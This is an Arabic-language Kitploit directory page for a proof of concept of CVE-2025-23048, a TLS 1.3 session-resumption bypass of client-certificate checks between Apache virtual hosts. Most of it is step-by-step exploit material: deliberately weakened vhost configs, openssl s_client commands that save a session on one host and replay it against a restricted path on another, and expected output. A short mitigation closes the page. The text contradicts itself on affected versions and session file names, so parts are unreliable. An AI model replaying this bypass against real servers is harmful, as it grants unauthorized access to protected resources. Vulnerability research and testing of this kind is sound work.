Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-23048-POC — إصدارات Apache HTTP Server من 2.4.35 حتى 2.4.63 معرضة لثغرة تجاوز مصادقة شهادة العميل (client certificate authentication bypass) عند استخدام استئناف جلسات TLS 1.3 عبر المضيفات الافتراضية (virtual hosts) التي تحتوي على توجيهات `SSLCACertificateFile` مختلفة. | Kitploit
أدوات/GitHubGitHub/absholi7ly/cve-2025-23048-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالمصادقة
GitHubabsholi7ly/cve-2025-23048-poc

CVE-2025-23048-POC

إصدارات Apache HTTP Server من 2.4.35 حتى 2.4.63 معرضة لثغرة تجاوز مصادقة شهادة العميل (client certificate authentication bypass) عند استخدام استئناف جلسات TLS 1.3 عبر المضيفات الافتراضية (virtual hosts) التي تحتوي على توجيهات `SSLCACertificateFile` مختلفة.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
4منذ 10 أشهرلم تتم المراجعة بعد

CVE-2025-23048: تجاوز التحقق من شهادة العميل عند استئناف جلسة TLS 1.3 في Apache mod_ssl

إصدارات Apache HTTP Server من 2.4.35 إلى 2.4.62 معرّضة لثغرة تجاوز مصادقة شهادة العميل عند استخدام استئناف جلسات TLS 1.3 عبر المضيفات الافتراضية ذات توجيهات SSLCACertificateFile مختلفة.

يمكن لمهاجم يمتلك شهادة عميل صالحة لمضيف افتراضي واحد استئناف جلسة TLS 1.3 على مضيف افتراضي آخر يتطلب شهادة صادرة عن مرجع شهادات (CA) مختلف — مما يتيح وصولًا غير مصرح به إلى موارد محمية.


بيئة الاختبار

  • Apache HTTP Server: 2.4.57 (Win64)
  • نظام التشغيل: Windows 10 (64-bit)

إعداد الخادم

1. تثبيت Apache 2.4.57 (Win64)

root@kitploit:~
# Download from: https://www.apachelounge.com/download/VS16/binaries/httpd-2.4.57-win64-VS16.zip
# Extract to C:\Apache24

2. تفعيل الوحدات المطلوبة في conf\httpd.conf

root@kitploit:~
LoadModule socache_shmcb_module modules/mod_socache_shmcb.so
LoadModule ssl_module modules/mod_ssl.so

3. إعداد ذاكرة تخزين جلسات SSL

root@kitploit:~
SSLSessionCache "shmcb:C:/Apache24/logs/ssl_scache(512000)"
SSLSessionCacheTimeout 300
SSLSessionTickets on

4. إنشاء دليل SSL وتوليد الشهادات

root@kitploit:~
cd C:\Apache24\conf
mkdir ssl
cd ssl

# Server cert (self-signed)
openssl req -x509 -newkey rsa:2048 -keyout server.key -out server.crt -days 365 -nodes -subj "/CN=localhost"

# CA1 and client cert for vhost1
openssl req -x509 -newkey rsa:2048 -keyout ca1.key -out ca1.pem -days 365 -nodes -subj "/CN=CA1"
openssl req -newkey rsa:2048 -keyout client_ca1.key -out client_ca1.csr -nodes -subj "/CN=Client1"
openssl x509 -req -in client_ca1.csr -CA ca1.pem -CAkey ca1.key -CAcreateserial -out client_ca1.crt -days 365

# CA2 for vhost2
openssl req -x509 -newkey rsa:2048 -keyout ca2.key -out ca2.pem -days 365 -nodes -subj "/CN=CA2"

# Cleanup
del client_ca1.csr *.srl

5. تكوين المضيفات الافتراضية (conf\extra\httpd-vhosts.conf)

root@kitploit:~
<VirtualHost *:443>
    ServerName vhost1.example.com
    DocumentRoot "C:/Apache24/htdocs/vhost1"
    SSLEngine on
    SSLCertificateFile "C:/Apache24/conf/ssl/server.crt"
    SSLCertificateKeyFile "C:/Apache24/conf/ssl/server.key"
    SSLCACertificateFile "C:/Apache24/conf/ssl/ca1.pem"
    SSLVerifyClient optional
    SSLVerifyDepth 1
    SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1 -TLSv1.2
    SSLStrictSNIVHostCheck off

    <Location />
        Require ssl-verify-client
    </Location>
</VirtualHost>

<VirtualHost *:443>
    ServerName vhost2.example.com
    DocumentRoot "C:/Apache24/htdocs/vhost2"
    SSLEngine on
    SSLCertificateFile "C:/Apache24/conf/ssl/server.crt"
    SSLCertificateKeyFile "C:/Apache24/conf/ssl/server.key"
    SSLCACertificateFile "C:/Apache24/conf/ssl/ca2.pem"

    SSLVerifyClient optional_no_ca
    SSLVerifyDepth 1
    SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1 -TLSv1.2
    SSLStrictSNIVHostCheck off

    <Location /restricted>
        Require valid-user
    </Location>
</VirtualHost>

6. إنشاء محتوى محمي

root@kitploit:~
mkdir C:\Apache24\htdocs\vhost1
echo <html><body>Vhost1: Accessible with CA1</body></html> > C:\Apache24\htdocs\vhost1\index.html

mkdir C:\Apache24\htdocs\vhost2\restricted
echo <html><body>Restricted: Vhost2 Secret!</body></html> > C:\Apache24\htdocs\vhost2\restricted\index.html

7. تشغيل Apache

root@kitploit:~
C:\Apache24\bin>httpd.exe -k install
C:\Apache24\bin>httpd.exe -k start

إثبات المفهوم

الخطوة 1: المصافحة الكاملة مع vhost1 → حفظ الجلسة

root@kitploit:~
openssl s_client -servername vhost1.example.com -tls1_3 -cert "C:\Apache24\conf\ssl\client_ca1.crt" -key "C:\Apache24\conf\ssl\client_ca1.key" -CAfile "C:\Apache24\conf\ssl\server.crt" -sess_out session_v1.pem 127.0.0.1:443

الإدخال بعد الاتصال:

root@kitploit:~
GET / HTTP/1.1
Host: vhost1.example.com

Apache

الناتج المتوقع (مقتطع):

root@kitploit:~
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
...
Post-Handshake New Session Ticket arrived:
...
HTTP/1.1 200 OK
...
<html><body>Vhost1: Accessible with CA1</body></html>

تم حفظ تذكرة الجلسة في session_shared.pem.


الخطوة 2: استئناف الجلسة على vhost2 → الوصول إلى المسار المحمي

root@kitploit:~
openssl s_client -servername vhost2.example.com -tls1_3 -CAfile "C:\Apache24\conf\ssl\server.crt" -sess_in session_v1.pem 127.0.0.1:443

الإدخال:

root@kitploit:~
GET /restricted/ HTTP/1.1
Host: vhost2.example.com

الناتج المتوقع (الحاسم):

root@kitploit:~
SSL-Session:
    Protocol  : TLSv1.3
    Cipher    : TLS_AES_256_GCM_SHA384
    Resumption PSK: ...
    TLS session ticket lifetime hint: 300 (seconds)
...
HTTP/1.1 200 OK
...
<html><body>Restricted: Vhost2 Secret!</body></html>

Apache

تم قبول شهادة العميل من CA1 على vhost2 (الذي يثق بـ CA2 فقط)
لم يحدث إعادة مصادقة — استئناف الجلسة تجاوز فحص المرجع CA


التخفيف

root@kitploit:~
SSLStrictSNIVHostCheck on

في جميع المضيفات الافتراضية التي تعمل بـ TLS 1.3 وتتطلب مراجع شهادات (CAs) مختلفة للعملاء.

تعطيل استئناف الجلسات عبر SNI — يمنع التجاوز.


تنزيل الأداة